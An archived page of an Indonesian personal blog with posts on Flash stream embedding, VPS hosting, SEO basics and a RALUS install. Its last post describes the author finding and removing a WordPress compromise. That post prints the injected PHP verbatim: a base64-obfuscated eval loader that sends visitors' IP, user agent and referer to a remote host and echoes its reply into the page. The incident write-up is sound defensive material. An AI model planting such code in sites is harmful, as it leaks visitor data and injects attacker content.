Calendar

January 2012
M T W T F S S
« Dec    
 1
2345678
9101112131415
16171819202122
23242526272829
3031  

Sepatah Kata !

Ini merupakan blog pribadi. Semua yang ditulis disini adalah opini dari sudut pandang penulisnya sendiri serta tidak merepresentasikan dan/ atau berhubungan dengan pihak manapun. Untuk mencari berbagai artikel yang terdapat di blog ini, bisa dilakukan pencarian dengan mengisi keyword di form Search sesuai dengan yang diinginkan.

Icecast Embedded AACplus Flash Player dengan Metadata

Dalam tulisan kali ini akan di ulas bagaimana mengembed Flash Player dan Metadata ke dalam sebuah website. Bagaimana caranya ?, langsung saja letakkan code HTML di bawah ini ke lokasi yang di inginkan.

<div id="metadata">
  <p> <!-- Now Playing shows up here --> </p>
</div>

<script type="text/javascript" src="http://stream.arenastreaming.com/player.js"></script>
<div id="player"><a href="http://www.macromedia.com/go/getflashplayer">Get the Flash Player</a> to hear this stream.</div>
<script type="text/javascript">
    // SET THE FOLLOWING VARIABLES ACCORDING TO YOUR STREAM
     var stream = 'http://209.9.238.123:80/dreadlockradio_aacp';
     var autostart = 'true';
    // DO NOT EDIT ANYTHING BELOW THIS POINT
     var so = new SWFObject('http://stream.arenastreaming.com/player.swf','mpl','470','20','9');
     so.addParam('allowscriptaccess','always');
     so.addParam('allowfullscreen','false');
     so.addVariable('autostart', autostart);
     so.addVariable('file', stream+'%3Ftype%3D.flv');
     so.write('player');
</script>

Catatan :

  1. Script di atas hanya bisa di gunakan pada server hosting di ArenaStreaming.Com
  2. Gunakan standart sample rate : 11.025, 22.05, or 44.1KHz . Karena Flash sample rate lainnya.
  3. Stream types: MP3, AAC, AACplus.
  4. Pastikan URL mount untuk ICecastnya, kamu tidak bisa menggunakan link dengan ext m3u atau pls, harus menggunakan direct stream link tanpa ext pls, m3u atau extension playlist lainnya.  contoh link nya http://209.9.238.123:80/dreadlockradio_aacp
  5. Jika ingin agar flash player tidak auto start, lakukan perubahan :
    var autostart = 'true'; 

    ke

    var autostart = 'false'; 

 
Berikut contoh tampilan script di atas

Get the Flash Player to hear this stream.

Ok, Selamat Mencoba !

Virtual Private Server (VPS)

Barusan iseng browsing untuk mencari VPS dengan harga murah, nemu beberapa link yang menawarkan dengan harga sepesial dalam artian sudah murah masih di diskon lagi. namun bagaimana dengan performance nya ?. Kalo dari spesifikasi yang di tawarkan sih lumayan dengan harga mulai 5 $ kita sudah bisa menikmati VPS dengan memori 256 MB dan burstable samapai 512 MB, untuk urusan processor ? semua hampir menawarkan yang sama.

Oke beberapa link yang saya kunjungi hari ini dan tentunya menawarkan Virtual Private Server (VPS) dengan harga yang menurut saya terjangkau dan murah :

  • kazila -> https://www.kazila.com
  • lovevps -> http://lovevps.com
  • vpscolo -> http://www.vpscolo.com
  • sshvm -> http://www.sshvm.com

Bagaimana dengan di indonesia ?, hem saya rasa di indonesia belum ada perusahaan yang menawarkan dengan harga yang di tawarkan oleh beberapa link di atas, jadi kalo rekan rekan mempunyai target pengunjung dari luar negeri, link di atas bisa di coba.

Optimasi website dengan SEO On Page

SEO on Page

seo on page

seo on page

Setelah melalang buana di salah satu forum, di sana banyak yang jual jasa untuk urusan pasang backlink di situs yang rata rata memiliki PR 2 keatas dan tentunya di sertai kata kata manis. Namun untuk saat ini, tepatnya setelah Google melakukan perubahan algoritma yang di kenal dengan PANDA nya, apakah nyebar backlink sebanyak banyaknya akan meningkatkan peringkat ?. menurut saya pribadi…, memasang backlink ke banyak situs dengan cara cara instan malah bisa bikin page rank jeblok karena google akan menganggap kita melakukan spam dalam pemasangan backlink. Google itu udah pinter jadi kita nggak perlu ngakali dengan menggunakan tool pasang backlink secara instan, so… kita pasang pelan pelan aja, kata orang jawa “alon alon asal kelakon” biar google melihatnya backlink terpasang secara natural.

Meskipun Google dengan algoritma PANDA nya tidak menomor-satukan backlink lagi, tidak berarti backlink tidak penting, backlink masih penting tapi ketika masang backlink gunakan cara cara yang tidak melanggar TOS Google.

Kalo backlink tidak no satu, terus apa yang bisa kita lakukan ?. hem banyak jalan menuju roma, kita bisa optimalisasi website kita dengan melakukan salah satunya “ SEO on Page ”.

Continue reading Optimasi website dengan SEO On Page

Bagaimana mencari rangking keyword blog kita di google ?

kadangkala kita sebagai pemilik blog ingin tahu posisi keyword tertentu yang ada di blog kita ada di rangking kebeberapa di google,  misal kita punya sebuah keyword “Mainan Anak Murah” di blog kita, nah kalo orang cari keyword “Mainan Anak Murah” di search engine, kira kira website kita muncul di no berapa ya ?

Mau tau caranya ?, gampang… tinggal buka website hxxp://www.seocentro.com , berikut saya sertkan screenshootnya.

SeoCentro Rank Checker

Dari hasil pengecekan untuk hari ini kalo orang mengetikkan “Mainan Anak Murah” maka website www.ruanganak.com akan ada di urutan N/A seperti yang di tunjukkan data berikut :

Result – SeoCentro Rank Checker

Setelah cek dengan keyword Mainan Anak Murah dan hasilnya sangate mengecewakan, sekarang saya coba cek dengan keyword Grosir Mainan Anak, dan hasilnya yang di dapatkan www.ruanganak.com

Result - SeoCentro Rank Checker - 2

Kenapa rangking nya n/a ?, karena di ruanganak.com untuk posisi keyword tersebut berada di atas 50 besar.  Kalo lihat hasil di atas ngeri banget ya… Pantes penjualan merosot tajam ke ke, karena jauh tertinggal dengan website lain. Ok mulai minggu ini akan coba saya optimasi untuk keyword tersebut, kita lihat 2 minggu lagi.

 

Subdomain .co.cc , co.tv, riwayatmu kini ?

Masih inget dengan sub domain gratisan dengan .co.cc atau co.tv ?, beberapa tahun yang lalu sewaktu saya jaman kuliah subdomain ini merupakan subdomain favorite saya karena selain gratis nama domainnya juga ringkas dan pengaturan di panelnya juga mudah.

Gimana nasib nya kedua domain tersebut ?, barusan saya mencoba iseng untuk membuat salah satu blog saya dengan menggunakan subdomain tersebut, namun sebelum blog jadi… saya lakukan searching dulu untuk domain .co.cc dan .co.tv di google.

Setelah lihat hasil searching di google ternyata google sebagai mesin search engine terbesar saat ini sudah tidak mengindex kedua domain tersebut. Berikut saya kasih screen shootnya :

site co.cc Google Search

So… bagi yang ingin menggunakan domain co.cc dan co.tv untuk keperluan SEO silahkan di pikir ulang daripada nyesen nantinya.

Apa itu SERP ?

Mengenal istilah dan mengetahui maksud dari istilah tersebut merupakan suatu keharusan jika ingin belajar sesuatu. Nah dalam dunia IM atau Internet Marketing kita pasti sering mendengar istilah SERP, apa sih sebenernya SERP itu ?

Dalam tulisan kali ini saya akan menjelaskan sedikit maksud dari istilah SERP.

SERP merupakan singkatan dari Search Engine Result Page. SERP merupakan halaman yang muncul sebagai hasil dari pencarian yang dilakukan di search engine. Dalam setiap kali penyarian, Google bisa menemukan puluhan hingga milyaran hasil pencarian yang terbagi-bagi menjadi beberapa halaman. Tiap halaman memunculkan 10 website saja.

seo back link

Google dalam memunculkan 10 page web tersebut dan mengurutkan hasil pencarian menggunakan rumus tertentu yang hingga saat ini belum dipublikasikan. Hanya saja, beberapa pembisnis online dan pengamar search engine telah melakukan serangkaian ujicoba dan mempublikasikan temuan mereka. Apa yang akan kita lakukan, ketika kita memahami SERP adalah bagaimana mengupayakan agar web ataupun blog kita berada dalam posisi pertama atau minimal berada dalam halaman pertama. Jika blog kita berada dalam atau tampil dalam halaman pertama, maka besar kemungkinan pencari akan mengunjungi website kita. Ini tentu akan meningkatkan trafic web dan kita bisa mengubah menjadi sebuah peluang bisnis.

Langkah demi langkah Install RALUS – BackupExec 2010 Remote Agent for Linux di Ubuntu 8.04

Dalam tulisan kali ini saya akan membahas bagaimana cara install RALUS (BackupExec 2010 Remote Agent for Linux) di linux UBUNTU 8.04, dalam situs resmi symantec RALUS hanya bisa di install di beberapa variant linux, berikut petikan yang saya ambil di website resmi symantec

Provides high-performance network wide data protection and recovery for 32-bit and 64-bit remote Linux and Solaris servers, including support for Intel Xeon EMT64, Intel Pentium EMT64, AMD Athlon, and AMD Opteron processors. The redesigned agent extends Backup Exec software’s advanced agent technology beyond Windows and NetWare to meet the needs of the emerging business applications on Linux operating systems. This agent offers full or incremental, or differential, backup and restore for the following products:
  • Red Hat
  • Red Flag
  • Miracle
  • SUSE
  • Sun Solaris (SPARC)
  • VMware
  • SUSE Linux
  • Solaris 10 on Intel
Installasi kali ini menggunakan RALUS_RMALS_RAMS-4164.5.tar yang saya ambil dari bundling DVD Backup Exec 2010 13.0 SP1 MultiPlatforms Multilingual, oke untuk menyingkat waktu dan tulisan berikut tahapannya :

Mau cari niche keyword Longtail ?, Di sini cara nya

Mencari niche keyword untuk sebuah blog gampang gampang susah, mungkin bagi yang sudah berpengalaman mencari niche keyword sangat mudah di lakukan, namun bagaimana dengan yang berlum berpengalaman ?

Dalam tulisan kali ini saya akan memberikan informasi bagi rekan rekan bagaimana caranya untuk mencari niche keyword dengan cara yang mudah.

Untuk mencari niche keyword dengan cara mudah dan tidak perlu keluar keringat, rekan rekan bisa menggunakan _hxxp://www*yournextniche*com/bulk.php , untuk karakter _ x * di ganti aja ya…, biasalah di ganti dengan standart pengalamatan web.

Your Next Niche Your Niche Idea Generator

 

Oke… dengan bantuan tool di atas sangat memudahkan kita untuk mencari Niche Keyword. Selamat Mencoba dan Selamat mendulang $ dari niche keyword yang di hasilkan :)

Apa itu Keyword Density

Beberapa hari yang lalu ada seorang teman bertanya tantang apa itu keyword density dan apa pengaruhnya dalam SEO, oke dalam tulisan kali ini saya akan sedikit mengulasnya.

Keyword Density merupakan perbandingan kata tertentu dengan keseluruhan kata, jadi misalkan seluruh postingan article kita berjumlah 200 kata dan kemudian dalam article tersebut ada 10 kata “Tutorial” yang akan di jadikan keyword nya, maka dalam hal ini Keyword density kita adalah (10/200)x100 = 5%

Oke sudah paham kan…, jadi misal kita mau nembak keyword tertentu pastikan penulisan keyword tersebut benar dan konsiten, karena kesalahan penulisan keyword akan berdampak terhadap keyword density.

Optimalisasi Keyword Density :

  1. Minimalisir Kesalahan Kata
  2. Jaga Untuk Konsisten
  3. Cerdik Menyisipkan
  4. Jangan Cuma Tulis Ini Itu
Oke kapan kapan tulisan ini akan di lanjut lagi.

aio.alloperator.com baru saja kena Inject Script !

Sekembalinya makan siang bersama rekan” kantor, saya sempat kan untuk membuka personal blog saya yang berada di alamat http://aio.alloperator.com. Namun ada sedikit keanehan yang terjadi di blog ini kalo di buka dengan Google Chrome, yaitu ada warning di header nya

Warning: fopen(/usr/share/nginx/html/st/18.10.2011/geo/) [function.fopen]: failed to open stream: Is a directory in /usr/share/nginx/html/bt.php on line 56

Warning: fputs(): supplied argument is not a valid stream resource in /usr/share/nginx/html/bt.php on line 57

Warning: fclose(): supplied argument is not a valid stream resource in /usr/share/nginx/html/bt.php on line 58

Namun kalo di buka di selain Web Browser Chrome, blog ini seolah berjalan dengan normal. Hem… langsung insting mengatakan waduh kena malware nih… Karena kalo di lihat dari warning nya, dia lagi berusaha membuka script yang ada di server lain.

Untuk memastikan bahwa kecurigaan saya benar, langsung coba remote server dan cek concurent user yang akses blog ini, hasilnya ada salah satu IP Address yang sangat mencurigakan

top - 14:42:16 up 30 days, 23:11,  3 users,  load average: 4.23, 3.91, 5.07
Tasks: 124 total,   1 running, 122 sleeping,   1 stopped,   0 zombie
Cpu0  : 92.1%us,  8.3%sy,  0.0%ni,  8.0%id,  0.0%wa,  0.3%hi,  1.3%si,  0.0%st
Cpu1  : 94.4%us,  8.6%sy,  0.0%ni,  7.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   2075532k total,  1234188k used,   841344k free,   156952k buffers
Swap:  5863704k total,    33136k used,  5830568k free,   331488k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
27552 www-data  20   0 43316  25m 5068 S   14  1.3   0:11.36 apache2
27554 www-data  20   0 38240  19m 4972 S   14  1.0   0:11.15 apache2
27568 www-data  20   0 43976  26m 5212 S   14  1.3   0:10.75 apache2
28433 www-data  20   0 38240  19m 4956 S   13  1.0   0:01.89 apache2
17845 mysql     20   0  242m  54m 5568 S   12  2.7   4:39.98 mysqld
26783 www-data  20   0 38240  19m 4956 S   11  1.0   0:18.39 apache2
26653 www-data  20   0 35416  17m 5040 S   11  0.9   0:22.78 apache2
27550 www-data  20   0 35160  17m 4956 S   11  0.9   0:11.58 apache2
27570 www-data  20   0 35160  17m 4956 S   11  0.9   0:08.16 apache2
27598 www-data  20   0 35416  17m 5060 S   11  0.9   0:07.32 apache2
28475 www-data  20   0 41952  24m 5056 S   11  1.2   0:02.24 apache2
25883 www-data  20   0 35472  17m 5224 S   10  0.9   0:19.30 apache2
26655 www-data  20   0 35416  17m 5004 S   10  0.9   0:22.80 apache2
27571 www-data  20   0 35160  17m 4956 S   10  0.9   0:08.37 apache2
26658 www-data  20   0 35244  17m 5308 S    8  0.9   0:28.11 apache2
27557 www-data  20   0 35160  17m 4956 S    7  0.9   0:08.42 apache2
28430 www-data  20   0 38240  19m 4956 S    7  1.0   0:01.80 apache2

Dari hasil perintah TOP, weleh mencurigakan sekali CPU kepake 92.1 % dan 94.4 %, padahal kalo hari normal kepake cuma di bawah 10 %.

Penelusuran tidak berhenti di situ, kemudian di lakukan pengecekan siapa saja yang terceonnect ke server dan hasilnya

tcp        0      0 202.x.x.x:57893       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:80          110.138.12.189:17742    TIME_WAIT   -
tcp        0      0 202.x.x.x:80          103.29.215.246:40685    TIME_WAIT   -
tcp        0      0 202.x.x.x:57717       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 172.16.64.24:22         172.16.67.135:2067      ESTABLISHED 14091/sshd: yeret [
tcp        0      0 202.x.x.x:46252       202.x.x.x:80          FIN_WAIT2   -
tcp        0      0 202.x.x.x:80          202.x.x.x:46258       ESTABLISHED 25755/apache2
tcp        0      0 202.x.x.x:57731       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57809       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57783       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57713       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57862       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57715       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57769       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:80          202.x.x.x:46301       ESTABLISHED 28433/apache2
tcp        0      0 202.x.x.x:80          202.x.x.x:46299       ESTABLISHED 28489/apache2
tcp        0      0 202.x.x.x:80          202.x.x.x:46285       ESTABLISHED 27554/apache2
tcp        0      0 202.x.x.x:46264       202.x.x.x:80          ESTABLISHED 27570/apache2
tcp        0      0 202.x.x.x:57764       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57843       91.196.216.30:80        TIME_WAIT   -
tcp        1      0 202.x.x.x:80          202.x.x.x:46246       CLOSE_WAIT  28496/apache2
tcp        0      0 202.x.x.x:57807       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:46246       202.x.x.x:80          FIN_WAIT2   -
tcp        0      0 202.x.x.x:57875       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57735       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:80          202.x.x.x:46268       ESTABLISHED 28491/apache2
tcp        0      0 202.x.x.x:57910       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57825       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57916       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:80          172.16.66.41:3103       ESTABLISHED 28482/apache2
tcp        0      0 202.x.x.x:57785       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57747       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57920       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57727       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57856       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:57705       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:46289       202.x.x.x:80          ESTABLISHED 27557/apache2
tcp        0      0 202.x.x.x:57815       91.196.216.30:80        TIME_WAIT   -
tcp        1      0 202.x.x.x:80          202.x.x.x:46252       CLOSE_WAIT  27567/apache2
tcp        1      0 202.x.x.x:80          202.x.x.x:46250       CLOSE_WAIT  28497/apache2
tcp        0      0 202.x.x.x:57850       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:46248       202.x.x.x:80          FIN_WAIT2   -
tcp        0      0 202.x.x.x:57733       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:46297       202.x.x.x:80          ESTABLISHED 26658/apache2
tcp        0      0 202.x.x.x:57707       91.196.216.30:80        TIME_WAIT   -
tcp        0      0 202.x.x.x:46283       202.x.x.x:80          ESTABLISHED 27553/apache2
tcp        0      0 202.x.x.x:57751       91.196.216.30:80        TIME_WAIT   -
tcp6       0      0 :::22                   :::*                    LISTEN      9098/sshd

Dari hasil test concurent user di dapat IP 91.196.216.30:80 --> mencurigkan sekali, langsung cek... penasaran juga siapa yang punya IP tersebut

Dari hasil penulusuran di dapat bahwa IP Address dengan alamat 91.196.216.30 ternyata adalah IP dari negara RUSIA, weleh padahal blogku ini adalah blog berbahasa indonesia dan kemungkinan sedikit sekali di akses dari luar negeri. Dari data di atas semakin kuat kalo blogku sudah terinfeksi.

Karena sudah super duper yakin kalo blog ini kena malware dari hasil data di atas... ( walaupun setelah di scan menggunakan antivirus secara online dan dari laporan goole webmastertool  dan hasilnya bahwa web ini aman ), maka langkah selanjutnya adalah cek script blog.

Penelusuran pertama langsung saya arahkan ke file konfigurasi wordpress di file wp-settings.php, setelah di lihat lihat ternyata ada tambahan script aneh dan script ini di encode jadi saya tidak bisa membaca secara pasti, berikut script yang berhasil di INJECT kedalam file wp-settings.php

function counter_wordpress() {$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');
do_action( 'init' );

Setelah scrip di atas di hapus dari file wp-settings.php, akhirnya blog bisa berjalan dengan normal lagi. :)